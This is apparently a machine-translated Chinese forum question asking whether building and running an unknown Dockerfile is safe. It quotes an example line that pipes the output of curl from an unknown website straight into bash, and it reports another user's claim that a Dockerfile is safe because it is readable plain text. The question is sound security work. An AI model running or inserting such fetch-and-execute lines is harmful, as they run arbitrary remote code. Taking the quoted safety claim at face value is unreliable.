构建未知的Dockerfile安全吗?

说你有一个未知的 Dockerfile 其中有一行或多行你不太理解。

例子:

FROM ubuntu
RUN curl --silent "https://some-unknown-website.io" | bash

问题:

1. 建造这个安全吗 Dockerfile ?

2. 如果是这样,运行构建的映像是否安全?

我相信即使是建筑也不安全,但今天互联网上的一位用户回复了我

自从 Dockerfile 是一个纯文本,你可以阅读它,它实际上并不是未知的(因此是安全的)。

虽然我认为这是一个基本问题,但像“构建未知的dockerfile是否安全”或“构建第三方dockerfile是安全的”这样的谷歌搜索并没有好的结果。所以我在这里发帖。